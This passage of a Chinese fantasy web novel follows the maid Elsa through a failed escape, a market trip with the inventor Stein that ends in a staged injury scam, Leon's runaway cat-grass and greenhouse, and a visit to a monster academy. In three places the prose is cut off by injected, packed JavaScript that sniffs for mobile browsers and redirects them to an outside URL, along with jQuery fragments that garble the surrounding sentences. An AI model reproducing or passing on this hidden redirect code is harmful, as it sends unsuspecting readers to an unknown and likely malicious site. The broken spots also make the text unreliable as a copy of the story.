和贝森一家分离，艾尔莎向宽阔的道路跑去。出门的机会并不容易得到，她要抓紧机会，测试自己能不能从噩梦餐厅逃跑。 破晓前的黑暗最为深重，艾尔莎的脚步却很轻盈。这是她被出卖到餐厅后，第一次能享受外出的自由，这一晚上太疯狂了，她的血液在身体里躁动。她该趁着这勇气和冲动，去试探自由的可能性。 但孤独感渐渐浮上她的心头，她无法再回到熟悉的村庄中，即便能够顺利逃跑，以后她也必须要过上隐姓埋名的生活。 当她出现逃跑的念头时，手背就在隐隐作痛，但艾尔莎全身都在疼。当离开餐厅的念头越发明晰，疼痛才变得像烙铁一样难以忍受。 艾尔莎抬起手，荆棘的红色纹路在她的手背浮现，这是她和噩梦夫人签订女仆契约时，烙印在她手背上的纹路。 荆棘已经阻碍了她第一次逃跑，现在又要成为绊住她的锁链了吗…… 艾尔莎感到一丝疲倦，疲惫感就像是不起眼的线头，当它被注意到时，就会成为疲倦倾倒的阀门。双腿沉重得好像铅块，她泄了气瘫坐在地上，头脑也变得迟钝。 逃离的念头烟消云散，手背的痛感也跟着消失了。 艾尔莎目光复杂地抚着空白的手背，如果这个契约能通过意念监视她，那她以后还有可能逃跑吗？ ……好累啊，心灵也开始累时，身体就再也无法前行了。 远方铅灰色的云层镶了层浅淡的金边，那是黎明将至的讯号。艾尔莎坐在路边，等待天亮后有人经过，要是有匹马，能是马车就最好了，还得愿意捎带她一程。 回应她的心愿般，路的尽头传来了车轱辘碾过石子路的声音，艾尔莎惊喜地抬头，看着黑暗中出现的轮廓一点点在升起的朝阳中明晰。 朝阳在地平线上喷薄而出，阳光为那象牙白的车厢镀上了一层灿金的光芒，徐徐驰来的马车笼罩在薄雾和日光中，看起来就像是童话中出现过的南瓜马车。 15. 同行＆立场 驶到近处，艾尔莎才惊讶地发现这车既没有马拉也没有驾车人。 车轮在她身边停下，露出一张英俊的面庞，镀上阳光的银发几近透明，像是蜘蛛丝般轻盈。 “斯坦因……”艾尔莎惊讶得连尊称都忘了：“你怎么会在这里？” “你失约了，你没有按时来我的实验室。”斯坦因面露不满：“我等了你一个晚上。” “我被外派了。”艾尔莎呆呆地看着他，才想起她忘了提前告知自己的行程：“你是来找我的吗？” “不然呢？”斯坦因觉得她问了个蠢问题：“我怕我要是来晚了，你就被吞得骨头都不剩了。” 刚开始他还能假装矜持地等，可当耐心耗完，他怒气冲冲地出了房间去逮艾尔莎，才被伊芙告知了艾尔莎的去向。 噩梦餐厅的药草学是最先进的，但夫人却不是最擅长药草学的那个人。敏锐地察觉到不对劲的斯坦因，在凌晨时分驾车出了门。 “我可不想我珍贵的材料，毁在什么不入流的家伙手上。”斯坦因话锋一转：“不过，要不是遇到了贝森他们，我险些就和你擦肩而过了。你怎么会在这条路上？” “您遇到了贝森他们，却没有捎他们一程吗？” “当然不。”他拒绝的斩钉截铁：“我又不是来接他们的。”他又流露出不开心的神情了，“你还没有回答我的问题，该不会是想偷偷逃跑吧？”他微微眯起眼。 “不是的，我只是忽然想起来，先前我答应过给德尔买些东西，所以才想着去村庄市集逛一逛。”艾尔莎搬出早就想好的借口，对斯坦因挤出微笑：“我的手背上还刻有契约的印章呢。” “你记得就好，”斯坦因的语气稍显冷淡：“上车吧。” 艾尔莎爬上车辕，就要弯腰进入车厢，却被斯坦因阻止了：“坐到驾驶的位置去。” “啊？”艾尔莎还没反应过来：“这辆车需要驾驶吗？” “你要是在车厢里滚一圈，这辆车我就可以报废了。”斯坦因的目光扫过她沾满泥泞和不明粘液的裙摆，和艾尔莎白一道黑一道，脏乎乎的脸颊。 于是艾尔莎只能有点失望地坐到了车外。事实证明，坐在南瓜车里来的不仅不会是公主，还可能是债主。 不过她总算能歇脚了，心情变得愉悦了些。轮子骨碌碌地重新转动，艾尔莎发现车并没有掉头：“咦？我们现在要去哪？” “你说的集市，来都来了，看看有没有些新奇的材料。”斯坦因说。 “您要去集市？”艾尔莎惊讶地转过身，平时连房间门都不出的斯坦因居然要去人类的集市，足以成为餐厅里最大的新闻：“您以前去过吗？” “没有。不是带了你吗？”她大惊小怪的样子让斯坦因觉得莫名碍眼：“怎么了，有什么问题吗？” “没有……”艾尔莎转过身，呐呐地说：“我是怕，有危险。” 斯坦因嗤之以鼻：“有我在能有什么危险。” 她是怕村民有危险！ 他们去的是建在山脚下的村庄，和艾尔莎原本居住的村庄不同，这个村庄的手工业十分发达，依托手工制品的集市也很热闹。 斯坦因在离村庄不远处停下象牙车：“乘车进去太引人注目了，会招致不必要的麻烦。” 艾尔莎刚表示完赞同，就见他敲了敲车壁，从车底蹦出一只双眼闪烁红光的机械大狗。 “去买个大点的口袋，它就能帮我们驮货物了，又不显眼。”斯坦因满意地说：“走吧。” 艾尔莎：“……” 他们两一进集市就受到了四面八方视线的洗礼。不只是因为那条尽职尽责跟着他们的机械大狗，还因为斯坦因高贵的气质和英俊的样貌，就像是贵族乔装出巡，身边还跟着个狼狈的女仆。 艾尔莎觉得有点羞耻，但斯坦因却浑然不觉，他的注意力被集市上的货物吸引了。 “幼稚。”斯坦因辛辣地说，的确，即便这些手工艺很精美，但在他的发明面前全都相形见绌：“艾尔莎，为什么要在椅子上雕花？” “嗯……是为了好看，用来装饰家里。” “毫无效率的考量，无意义的创作。”不顾摊贩的黑脸，斯坦因评价道。 他又绕到了隔壁的摊子，掂量起冷兵器。 店主正在夸耀自家长矛的锋利，斯坦因听完，反手将矛插到了机械狗的身上，矛应声而裂，机械狗完好无损。 寂静无声的注目下，他把劈叉的木棍扔回给老板：“质量不行。” “对不起！”艾尔莎连忙向目瞪口呆的老板道歉，扯了扯斯坦因的袖子：“我们要赔钱的。” 斯坦因有些许不解，但想到这可能是人类的规矩，就后退了一步。 “可以，”他优雅的姿态好像钱财不值一提：“艾尔莎，付钱。” “我没有多少钱……”艾尔莎窘迫地说，虽然是餐厅的卖身女仆，但噩梦夫人还是有定期给仆从们零花钱，但艾尔莎没攒下多少，要是按斯坦因这花钱速度，她的钱包马上就要见底了：“您带钱了吗？” 斯坦因沉默半晌，转身从机械狗的眼睛上抠下一颗红宝石，宝石的光芒把艾尔莎和店主的眼睛都闪花了，这颗看起来就价值不菲的宝石恐怕能把整个村庄都买下来：“就用这个不起眼的……” “等等！”艾尔莎打断了斯坦因的冤大头发言：“低调！说好的低调呢！” 翻遍了斯坦因身上携带的物品，艾尔莎终于找到了合适用来兑换的一层薄薄的金箔。艾尔莎去找兑换商人换了大量的钱币，赔完店主的损失。 斯坦因只当刚刚是个不起眼的小插曲，有了钱，他更自如地继续在集市上逛起来。 “这是什么奇怪的项链？”他的脖颈上戴着白色果实串起的项链：“气味也很奇怪。” “扑哧，”艾尔莎没忍住笑出来：“这是大蒜，用来防治吸血鬼的。” “愚昧。”斯坦因黑着脸把大蒜扯下来：“你笑什么？” “因为您真的很没有常识。”艾尔莎擦着笑出的眼泪：“对人情世故，对钱……都是。”糟了，艾尔莎反应过来，她一不小心就说出了实话的，后悔得捂住了嘴。 “人类的本性有什么了解的必要吗？”斯坦因厌恶地看了眼大蒜：“我也不想明白，你们为什么要吃恶心的食物？ 艾尔莎又笑起来，或许因为总是高高在上的斯坦因也有不擅长的一面，让他变得像是生动可以触及的存在。 趁着斯坦因在研究玻璃制品，艾尔莎去旁边的杂货铺买了补木板和油漆刷子，还去游医那购进了些药材，路过花店时还买了一束美丽的百合，新鲜的花朵娇艳欲滴。 等她回来时，才发现原本的地点被人群包围了起来。 “请让让。”她从人缝中挤到最前方：“发生什么事了？” 人群中心站立着斯坦因，他正看着倒在地上的人。那是个上了年纪的老人，抱着腿躺在机械狗身旁的地上，发出疼痛的低吟。 “这是你的？”老人指着机械狗：“它可把我撞惨了。” 他疼得涕泗横流，在地面上翻滚哀嚎：“是你指使它伤害我吗？” “是你自己撞上来的。”斯坦因冷冷地说，他的声音不带温度，这使他看起来很冷漠。 “父亲！”人群中冲出一个健壮的小伙子，扶起倒地的老人。他看向斯坦因的目光充满了愤怒：“你这是杀人未遂！” 受伤的老年人最容易激起怜悯。何况斯坦因是不属于这的外来人，无论是机械狗还是他看起来尊贵的身份，都只会成为矛头针对的缘由。 人心早就偏了，窃窃私语的村民们显露出敌意，堵住了所有离开的路线。 “道歉！”有人喊起来，带动了一片赞同：“赔偿！” 斯坦因旋起螺丝钉，面色显露不耐：“机械狗……” 从人群中冲出的艾尔莎，挡到了斯坦因面前。 “你们要干什么！”她大声呵斥老人和他的儿子，环视周围的村民：“是要敲诈吗！” 她的气势太足，把蠢蠢欲动的人群都暂时唬住了。“你在胡说什么！”终于有人反应过来。 “我说你们贼喊捉贼！”艾尔莎毫不胆怯地回怼：“机械狗的眼睛不见了！” “镶嵌在这的可是珍贵的红宝石，”艾尔莎牵着机械狗展示给周围的村民，他有边眼睛不见了，另一边的红宝石闪烁着耀眼的光芒：“就在这个老人声称被撞之前，机械狗还是完整的，武器店老板可以作证！” “你胡说！”扶着老人的小伙子囔囔起来：“你污蔑我们！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991232|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“大家都避着机械狗走，为什么你的父亲会主动接近？怕不是起了贼心吧。” “小姑娘，不必如此咄咄逼人。”人群中有人发言：“你又没证据证明一定是他们偷了宝石。” “是啊，可他们也没有证据证明是机械狗撞了他们。”艾尔莎回道：“市场上这么多人，连个目击证人都没有，就想让我家少爷担这个责任，天底下哪有这种好事！” “我劝大家也不要被牵着鼻子走，做生意靠的是信用，这场中可也有游商。要是在事实未明前就联合起来故意为难和剥削外来的人，那不就成黑店了？村庄传出去的名声可就不好听了。” “她和他是一伙的！”老年人颤颤巍巍地说：“当然会维护他。” “我们就事论事，”艾尔莎对老人说：“我会些医术，让我帮你看看有没有伤到骨头吧？” “不需要！谁知道你是不是不怀好意！” 艾尔莎毫不意外他们会拒绝，“那就让游医来诊断，我们在这等。”艾尔莎买草药时和游医多聊了几句，得知他今天是第一次来到这个村子，串供的可能性很低。 小伙子支吾着犹豫了，地上的老人又可怜兮兮地痛哼：“我走不了啊，就在这，哪也不去。” “那就请村民帮帮忙吧，总不能见老人在这受苦。对吧？也好，大家都来做个见证。”艾尔莎对离得最近的女孩说：“麻烦你跑一趟。” 被委托的女孩清脆地应了声离开。艾尔莎对明显开始动摇的父子说：“你们可知道污蔑贵族的下场？” 斯坦因斜睨着艾尔莎，看她满是胡扯的表演。在父子看来，斯坦因是默认了他的身份。 “……到行政官面前，他会有手段对付你们，叫你们吐出红宝石的下落！” 贵族的身份对平民简直是碾压，这对父子的脸色都变得十分不好看。在这时，被派出去的女孩清脆的声音隔着人群传来：“游医来啦，让一让！” 父子对视一眼，老人也不哀嚎了，小伙子迅速扶起了老人，两人健步如飞地钻进了骚乱的人群中，一下就没了踪迹。 “哎！”艾尔莎假装气急败坏，拎着裙摆跺脚，但其实并不准备追。 这戏看到现在，谁是谁非一目了然，人群慢慢散开。 斯坦因也没了兴致：“不逛了，回去吧。” 满载着战利品的马车朝餐厅驶去，斯坦因把先前抠下来的红宝石扔给了艾尔莎：“看不出来你还有说谎的天赋。” “他们人多势众，气势上就先不能输。”艾尔莎手忙脚乱地接住红宝石：“这是？” “送你了。”斯坦因说：“解决问题的奖励。” 他琉璃琥珀般的眸子投向窗外掠过的风景，不一会又看向艾尔莎：“为什么你选择信任我？万一就是我撞的呢？” “啊？” “人类只在乎立场，事实的真相并不重要。”斯坦因淡淡地说：“那些不明真相却已经开始判断的村民就是这样，我以为你也会偏向人类那边。” “那是因为您很容易招致误会啊，”艾尔莎说：“您的脾气非常暴躁，脸色也难看，说话很难听，最可怕的是都是真心话。” “……”没想到艾尔莎会这么说，斯坦因缓缓眯起眼：“没错。比如现在，怒气槽正在急剧上升。” “不过——”艾尔莎连忙调转语气：“正因为是这样的性格，我才会信任您，您是不屑于说谎的人。” “不是因为女仆的身份让你选择了这个立场，而是因为信任我的话吗？”斯坦因微微笑起来，下一句却如同手术刀般尖锐，划破了缓和的假象：“说谎。” “你站出来，是不想让我对机械狗使用口令。机械狗随时可以开出一条血路，根本就没人能拦住我。”斯坦因眯起眼睛：“我刚刚的话没说完——有时候，人们还要为了掩饰立场，编造出正义的藉口。也就是现在的你。” 艾尔莎愣住了，“我……”她当时确实含有私心，不希望造成伤亡：“可我说的也是实话。” “哦？假定你两者都有好了，这次幸运地平衡了，那么下次呢？”斯坦因似乎要看透她的灵魂，那一刻，他又回到了艾尔莎无法触及的，高高在上的云端：“运气总不可能会一直都好，我倒想看看无法平衡的时候，你会做出怎样的选择。” 16. 猫草＆蔷薇 午夜已过，雾气萦绕的宅邸，沉重的木门缓缓打开。 一只乌鸦优雅地滑翔过围栏，低飞过前院隆起的坟墓。落在红地毯上的那刻，爪子变成了轻盈的脚步，羽毛化成了漆黑的长袍。乌鸦变就的少年抬起秀气的面容，露出灿烂的微笑。 “我回来啦！” “辛苦了莱昂少爷！”墙头画们热络地和他攀谈：“夫人已经在等您了。” 莱昂把行李扔给来迎接的僵尸门童，穿过走廊抵达餐厅。 家宴已经准备好了，伊芙将最后一道菜呈上饭桌：“这是贝森夫妇为了表示感谢送来的新食材，厨师长研发的新菜品。” 由夫人出面将章鱼怪物全面清扫后，贝森一家恢复了健康。 噩梦夫人矜持地点头，在首位落座。难得的家宴，斯坦因和莱昂分坐在她的左右手边的位置，伊芙和艾尔莎侍奉在旁。 “斯坦因，我听说你去了人类集市？”莱昂兴奋地追问：“呐，好玩吗？一定很好玩吧！” 斯坦因没有回答，冷淡地瞥了他一眼，莱昂回敬了个鬼脸。 “莱昂，”夫人语气温柔：“学校怎么样？” “这学期的课程马上就要结束了，收拾完行李就可以回来过假期了。” 莱昂的目光落在艾尔莎身上，艾尔莎正在帮斯坦因更换菜式，却被挑食的斯坦因嫌弃地拍了手背。 “我不在家的时候应该发生了挺多有趣的事吧？”莱昂双手撑着下巴，半真半假地抱怨道：“瞒着我的话，我可是会生气的！” 察觉到莱昂的目光，艾尔莎抬眼看向他。忽然间，艾尔莎注意到莱昂的前胸处的布料被顶出了一处凸起，但凸起很快就消失了。 艾尔莎一瞬间觉得自己看错了，但黑袍很快又隆起夸张的弧度，这下大家都注意到了。 “糟了，我忘了。”莱昂解开扣子，伸手进衣领：“小家伙睡醒了。” 藏在他黑袍下的生物躲开了他的手，钻出衣领跳上餐桌。那是颗长有两个小小的尖角，看起来如同猫咪头般的果实。 它撞得白瓷餐具发出清脆的声响，众目睽睽之下，果实底部忽然抽出了两根柔软的枝条，像腿般撑起摇晃的猫猫头。 “莱昂！”噩梦夫人惊吓地捂住唇：“它怎么能没洗脚就上餐桌！” “这是我费了好大力气才找到的猫草，它跑得可快了。”莱昂边骄傲地说，边掏出法杖对准猫草，尖顶“咻”地发出黑色的光芒，却被猫草跳着避过了。 猫草跃上一旁放着餐具的手推车，成为牺牲品的是噩梦夫人最喜欢的一套茶壶。 “伊芙！”夫人差点晕了过去，眼泪从她眼眶中滚滚落下，比法杖更快掏出的是手帕：“快叫人阻止它！” 艾尔莎和伊芙都在莱昂的指挥下捕捉起猫草，可它太灵活了，还能像水流般随时变换身姿，钻过任何缝隙。 察觉骚乱的鱼人厨师前来查看情况，猫草缠上了鱼人厨师，它追逐着鱼人厨师跑进厨房。片刻后形势调转，猎人和猎物身份互换，拿到厨刀的鱼人厨师追着猫草跑了出来。 “别伤害它！”莱昂提高声音：“它是我珍贵的收藏！” 斯坦因在旁火上浇油：“做成标本也能是收藏。” 混乱中，斯坦因冷眼旁观，淡然地用完最后的食物，扯下胸前的餐布：“我回房间了。” 艾尔莎正追着猫草，眼看猫草就要撞上斯坦因的腿，被斯坦因暗含警告地看了眼，猫草硬生生地刹车，九十度大转弯地跑上旋转楼梯。 “猫草上楼了！”艾尔莎边通风报信，边和斯坦因擦肩而过，忽然她被揪住了后衣领。 “你凑什么热闹？凭你的短腿，想抓到它等下辈子吧。”斯坦因皱眉：“要是磕碰到了要休息，影响的是我的实验进度。” “可是这是女仆的工作啊。”艾尔莎怔愣：“您是让我偷懒吗？” “我让你动点脑子。”斯坦因放开了她：“肩膀上的是可不是装饰品。” 餐厅里的怪物们被猫草绕昏了头，摔得四仰八叉。而莱昂跳到了椅子上指挥调度，黑色的光芒频频从他的魔杖发出，有的击空，有的定住了自己人。 艾尔莎追随着猫草跑到了阁楼的走廊，猫草在拐角处停下，舒展着柔软的枝条。 轻轻踮起脚，艾尔莎小心翼翼地挪近猫草，瞅准时机，朝猫草扑去。 视线余光却闯进一个身影，艾尔莎稍稍晃神，猫草就从指尖溜走了，艾尔莎撞进了温热的胸膛。 他们同时倒地，绸缎般的黑袍在身下漫开。少年修长的身躯成为了她的肉垫，他轻轻地“唔”了声，揉着撞到的后脑勺，雾蒙蒙的蓝眼睛无辜地看向跪坐在他身上的艾尔莎。 “莱昂少爷！”艾尔莎立马跳起来，又蹲到他身旁：“您没事吧？” “没事没事~”莱昂坐起身，毫无芥蒂地笑起来。他看向艾尔莎，忽然惊讶地睁大了眼。 猫草没有趁他们摔倒逃跑，它悄悄地爬上了艾尔莎的背，在艾尔莎的头发上环绕起来，就像个小巧的编织发圈。 “嘘！别吓到它。”莱昂闪闪发光的眼眸盯着艾尔莎：“它怎么会主动接近你？” 艾尔莎摊开手心，她的手心躺着片发光的鳞片，是她刚刚找鱼人厨师要的，还差点因为提出了这个无理的请求变成刀下亡魂。 莱昂愉快地笑起来：“你反应很快呀，知道要用这个诱惑它。” “原来你知道？那怎么不早点抓到它？”艾尔莎忽然反应过来，最享受这场追逐的似乎就是莱昂。 “你不觉得很有趣吗？好像大家都在玩捉迷藏的游戏一样。”莱昂开朗地笑起来：“我最喜欢热闹的餐厅了。” 莱昂站起身，拉住艾尔莎的手腕：“和我来。” 他领着艾尔莎到了走进阁楼，阁楼有间上锁的小门，那是宅邸传说中三大禁地之一。莱昂用魔法密语解开门锁，从外朝里看，门内是沉沉的黑暗。 “咳咳，”莱昂清了清嗓音，伸手敲敲墙壁，“德尔，”他用命令的语气说，“打开屋顶。” 半晌没有应声，莱昂和尴尬的空气僵持了一会后，气恼地摘下壁式电话的话筒：“在我耍帅的时候，就不能给点面子嘛！” “臭小子！不要用命令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991233|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语气和我说话！”德尔暴躁的低吼从中传来。 “快点打开屋顶。”莱昂的笑容中带了些咬牙切齿：“请——” 地板传来了微微的震动，黑暗的屋顶中央裂开了一条缝隙，月光从裂缝中倾泻而下。屋顶向两边后撤，露出清澈透亮的玻璃穹顶。 沐浴着月光的植物生机勃勃地舒展着茂盛的枝叶，这里简直称得上是个水晶打造的植物园，斑斓的花朵、盎然的绿意，在月光下交织成美妙的画卷。 莱昂看着在门边踌躇的艾尔莎：“怎么了？” “这里平时是不让仆从进来的，”艾尔莎惊叹地看着美丽的月光花房：“真的可以吗？这些植物看起来都很珍贵。” “当然可以，”莱昂拍拍胸膛：“身为主人的我批准了。而且，这里会成为禁地，不是因为怕植物被毁坏哦。” “那是因为什么？” “是因为……”莱昂忽然对着艾尔莎的背后挥了挥手：“不行不行，去去~” 艾尔莎不解地转过头，她先是看到离脸颊很近的两片红色的叶片，近乎要把她的头包裹进去，她后知后觉地抬起头，才看到悬在前额的坚硬的刚毛——这是颗张开了嘴的巨大捕蝇草。 它的偷袭被莱昂拆穿了，只好不情不愿地退回原地。 “这里种的都是怪物植物，如果随便让仆从进来的话，他们会很容易被吃掉。”莱昂露出难为情的微笑，“会惹妈妈发火的。”莱昂挠了挠金发，“而且，乱吃的话植物们会消化不良。” “……重点是这个吗？” “嗯？”莱昂眨着无辜的眼睛看着艾尔莎。 莱昂从角落中取来花盆，将猫草移到了土壤中。艾尔莎的视线被花房中央的展台吸引了，那里孤零零地放了一盆含苞欲放的花朵。 “这是什么植物？” “啊，这个，”莱昂凑过来：“无名蔷薇。” “无名？” “因为主人浇灌给她不同的爱，她就会长成不同种类的蔷薇。听说妈妈曾经培养出了隐藏款的星海蔷薇，每片叶子都会泛出星星般的荧光。” “它看起来还没有开放？”现在它还是含苞的花骨头，看起来平平无奇。 “我想是因为它太挑食了，我已经失败了很多次了。”莱昂撑着脸颊叹了口气：“早知道就不该选它作为植物学科的课题了。” “你给了它什么爱呢？”艾尔莎好奇地问。 “我在培育它的时候想过妈妈，也想过斯坦因，虽然最后的归处都是垃圾桶。”莱昂无奈摊手：“除此以外，我也不知道还有什么爱能给它了。” “……这样真的能行吗？” “我有信心，我能养出来。”虽然艾尔莎不知道他莫名其妙的信心都是从哪来的。 “啊~”莱昂向往地说：“我也一直好想要朵独一无二，只属于我的蔷薇。” “真想看看它开放的样子，”被他的情绪感染，艾尔莎也不禁期待起来：“一定会很美吧。” “那我们约定好了，”莱昂露出了那毫无阴霾，如太阳般耀眼的笑容：“到时候我们一起来看。” 17. 学校＆狩猎者 “奇怪。”伊芙站在窗户前，对正在打扫的艾尔莎说。 “怎么了吗？” “我记得昨天把窗帘掖好了的，”伊芙指给艾尔莎看，窗边，艾尔莎从城镇买回来的鲜花正插在精心挑选的花瓶中，因为勤快地换水和照料，花朵还保持着鲜妍的色彩。奇怪的是，靠近鲜花的窗帘被撩起了一角：“连着几天都这样。” “或许是德尔想让花照照太阳？”艾尔莎悄悄和伊芙说：“阁楼上就是莱昂少爷的月光花园，我还以为德尔不会喜欢普通的鲜花呢。” “德尔的审美原来很接近人类啊。”伊芙感叹道，“上次你把阁楼的屋顶修好了后，他动不动就让旅店的怪物们去阁楼取东西，还让他们抬头看根本不存在的蜘蛛网。” 铺在身旁的地毯忽然掀起了一角，搁在上面的水桶摇摇晃晃地转了两圈，堪堪没有倒下。 这就是小小的警告了，艾尔莎和伊芙不约而同地停下话题，相视一笑。 习惯真是个奇妙的东西。艾尔莎已经能从骷髅脸上看出情绪变化，也不再会将白惨惨的骨头和恐惧联系起来。 “伊芙，”莱昂从旋转楼梯的扶手上滑下来，稳稳地跳落在地：“学期末啦，我要个帮手帮我一起收拾东西回来。” “那按照老规矩，由我……？” 莱昂的目光落在艾尔莎的身上，“我想要她，”他指向艾尔莎，露出灿烂的微笑：“可以吧？” “可我并不会飞，”艾尔莎想起了化身乌鸦的莱昂：“我又该怎么和您去学校呢？” “这就交给我了。”莱昂从身后掏出一把长扫帚：“愿为你效劳。” 餐厅前院，临时要去怪物学院出外勤的艾尔莎，不免还有些担忧自身的生命安全。 “别怕，”扫帚载着莱昂在空中翻了个圈：“看，掉不下去的哦。” “……请您答应我，没有遇上特殊情况，不要随便翻转好吗。”艾尔莎跨上扫把，犹豫地抓住了莱昂的黑袍。 “坐稳啦，准备出发，”莱昂伏低身体：“哦对啦，还是搂住我比较好。” 加速的推背感袭来，耳边风声猎猎，艾尔莎一瞬间放弃了所有矜持，她紧紧环住了莱昂的腰，头埋在他的黑袍中，蔷薇的香气萦绕在鼻尖。 “不用那么紧张，我不会扔下你的。”莱昂的话语被风吹得破碎：“在高空飞行的机会可不多，你不趁机看看吗？别错过很好的景色啊。” 扫帚比艾尔莎想象中平稳很多，犹豫片刻，艾尔莎睁开眼睛，遮住视线的黑袍被风吹开，壮丽的景色一览无余，村庄、田野都变得像是小巧斑斓的积木。 莱昂吹了声口哨，他们钻进了重重云层，环绕在洁白柔软的浮云间，简直像是美妙的梦境般，让艾尔莎忍不住伸手想要触碰。 莱昂坏心眼地忽然加速，吓得艾尔莎收回手抱紧他，他又减了速，开朗地笑起来，胸腔的颤动传递到紧贴着他的艾尔莎。 过了没多久，扫把变成了平稳的俯冲。视线中出现了高塔的尖顶，云层散开，蔚蓝的海洋中有座孤岛，而岛中塔的全貌也逐渐占据了视野。这是座石头堆砌的黑塔，伟岸的身躯像是要触及神明。 莱昂降落在尖塔前的广场上，这片岛屿都是学院的领地。 “学院接收所有非人的学员，高塔是主要的教学区域和宿舍区，校园里有花园，图书馆等等。”莱昂热情地介绍：“还有很具有特色的建筑哦，比如角斗场、处刑场……” “……学校教的还挺全的。” 他们正经过高塔前漂亮的喷泉水池。“当然啦，”闻言，莱昂转过身，向艾尔莎骄傲地说：“这是所包容和开明著称的学院嘛。” 话音未落，空中忽然掉下个黑影，“砰”地砸进喷水池，溅起夸张的水花。 那是个手提包。它慢慢地沉入池底，没关上的袋口掉出书卷牛皮纸和零零碎碎的文具，漂浮在水面上。 远处跑来个看着和莱昂同龄的，也穿着巫师袍的男孩，见到莱昂时他猛地顿住脚步，胡乱地点了个头后，脱掉鞋袜跳进水池。 艾尔莎抬头向高塔看去，看到窗口前闪过一对圆形带斑点的耳朵。 “莱昂……”艾尔莎正想提醒他，就看见莱昂也脱了鞋袜，跟着踩进了喷泉池。 “不、不用了。”捡书包的少年涨红了脸，连连摆手拒绝。 “别客气，这些都不能泡太久吧。”莱昂朝他露出友好的笑容，又对着艾尔莎竖起掌心：“你就别进来了，水还是挺凉的，乖乖在外面等我就好。” 莱昂撩起巫师袍的袖子，露出白皙的手臂，探进水中找寻遗失的物品。他的手臂上有条不短的伤疤，看起来像是不久前的烫伤。 盯着那条伤疤，艾尔莎有种不好的预感。 捡齐物品后，被欺负的少年道了谢，抱着湿淋淋的书包跑开了。 莱昂烘干了衣袍，转过身才注意到艾尔莎凝重的神色，他夸张地吐了吐舌：“虽然我刚刚说的包容确实有些美化的成分在，但你的脸色也不用这么难看吧？” “在学校里，也会有欺凌的情况存在吗？” 艾尔莎没有正经上过学，但村里的小孩们近乎天然默契地会形成团体，压迫和欺负他们选中的“异类”，艾尔莎对此再熟悉不过。 “这个嘛~我说了，这是所招收怪物的学院对吧？怪物啊，其实也像人类一样，会有隐形的阶级划分，最低级的就是变种的人类，”他挠了挠头：“也就是巫师……” “怎么会这样，”艾尔莎担忧地问：“那他们有欺负你吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991234|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “唔，这个嘛。”莱昂的眼神可疑地移开了，他避开了话题，拉着艾尔莎朝高塔跑去：“不聊不开心的事，我带你去看我的教室！” 阶梯教室里有不少学生在，因为是学期末，不少学生身旁都跟着来领物品的非人仆从。见莱昂带着稀有的人类女仆进入，全都投来异样的目光。 “莱昂，”一个长有鳞片长尾的蛇发女妖摆动着妖娆的身姿游近，她吐出的红信轻触艾尔莎的脸颊：“你好啊。” 这不是艾尔莎初次见到蛇人。不知不觉中，她和餐厅里招待过异族客人都变得熟稔起来。 “你好。”艾尔莎用手背轻轻蹭了蹭她耳边的鳞片，这是他们这族表示友好的动作，蛇发女妖果然变得开心来：“哦，你真可爱，还很懂礼貌。” “哎~我还以为你会被莎莉吓到，或者感到局促。”蛇发女妖离开后，莱昂对艾尔莎眨眨眼。“看来，想吓到你没那么容易，”他若有所思，“和初次见到你的时候比起来，你真的有改变呢。” 想到雨夜她狼狈的模样，艾尔莎羞涩地挠挠头，她的头发长了不少：“或许因为，习惯是很奇妙的力量吧。” 莱昂带着艾尔莎来到座位上，清点起他要带回家的物品。 “这是植物学的奖章，”莱昂朝艾尔莎炫耀他的荣誉：“这是药剂学的奖章。” “真厉害。”艾尔莎真心实意地夸赞。莱昂得意地挺起胸膛接受溢美之词，如果他有尾巴，肯定早就欢快地摇起来了。 “可我学习的魔法都不太擅长战斗呢。”莱昂撑着脸，郁闷地叹了口气：“上次用来收拾蚀兽的，已经是我杀伤力最强的魔法了，可是和其他擅长体术的同学相比还是落后了一大截。” “莱昂如果想成为研究型的学者，就没必要逼迫自己成为战斗力强的法师吧？”艾尔莎说：“我相信，能专心在某个领域的莱昂，未来肯定能有出众的成就。” “你是这样想的吗？好开心。”莱昂澄澈的蓝眼睛弯成月牙形状：“艾尔莎果然很温柔。” “喂，莱昂，你带了稀奇的东西过来啊。”粗鲁的男声打断了他们的对话。 艾尔莎转过头去，入眼的先是一双半圆形的耳朵，带着黑色的斑点。 有着豹子般矫健身形的男人眯着眼睛打量着艾尔莎，斑纹遍布的豹头上，灵活的耳朵微微颤动。他身后跟着两个高大蜥蜴人。 莱昂站起身来，脸上的笑容消失了：“杰克，你来做什么？” 他们的出现后，学生们纷纷避让。 “是‘狩猎者’啊……居然是头目直接找来了？” 